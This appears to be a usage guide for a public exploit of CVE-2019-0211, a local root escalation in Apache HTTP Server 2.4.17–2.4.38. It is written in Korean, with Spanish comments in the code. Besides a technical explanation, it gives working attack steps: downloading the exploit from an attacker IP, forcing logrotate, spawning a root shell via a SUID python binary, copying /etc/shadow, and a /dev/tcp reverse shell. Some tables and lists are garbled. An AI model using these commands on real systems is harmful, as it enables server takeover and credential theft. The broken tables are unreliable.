
CVE-2019-0211은 Apache HTTP Server의 2.4.17 – 2.4.38 버전에서 mod_prefork 및 mod_php(또는 PHP-FPM)와 함께 사용될 때 발생하는 로컬 권한 상승 취약점입니다.
이 취약점은 www-data 셸을 보유한 공격자가 PHP의 Use-After-Free(UAF) 와 Apache scoreboard 손상을 결합하여 root로 권한을 상승시킬 수 있게 합니다. Apache가 graceful restart를 수행하면(예: 오전 6:25 logrotate를 통한), 권한을 낮추기 전에 child_init()을 실행합니다. 이 함수에 대한 포인터를 손상시킬 수 있다면 Apache가 root 권한으로 임의의 명령을 실행하도록 만들 수 있습니다.
CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| 필드 | 값 |
|---|---|
| CVE | CVE-2019-0211 |
| 제품 | Apache HTTP Server |
| 영향을 받는 버전 | 2.4.17 – 2.4.38 |
| 유형 | Local Privilege Escalation (CWE-269) |
| 요구 사항 | www-data 셸, mod_php를 사용하는 Apache, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| 패치 | Apache 2.4.39 |
Apache는 scoreboard라는 공유 메모리 영역을 사용하며, 각 worker 자식 프로세스는 prefork_child_bucket을 가리키는 bucket 포인터가 있는 process_score 구조체를 갖습니다. 이 bucket에는 함수 포인터(meth->child_init())가 포함된 apr_proc_mutex_t가 들어 있습니다.
Apache가 graceful restart를 수행하면(오전 6:25 logrotate에 의한 자연적 트리거), 권한을 낮추기 전에 child_init()을 호출합니다. 익스플로잇은 다음과 같습니다.
DateInterval 객체와 JSON 직렬화를 조작하여 PHP에서 UAF를 유발합니다./proc/self/maps를 읽어 scoreboard를 찾습니다(/dev/zero의 SHM).all_buckets 구조체를 찾습니다.meth->child_init()을 system()으로 리다이렉트하는 페이로드로 buckets을 덮어씁니다.Charles Fol — @cfreal_
원본 블로그 포스트: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data 셸.php 파일을 쓸 수 있는 권한# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cmd 매개변수를 사용하여 root로 실행되는 명령을 변경할 수 있습니다:
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| Workers |
|---|
worker가 많을수록 성공률이 높아집니다.
hidef 또는 AppArmor/SELinux를 통해 /proc/self/maps 접근 제한| 성공 |
|---|
| 시도 |
|---|
| 실패 |
|---|
| 5 (기본값) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |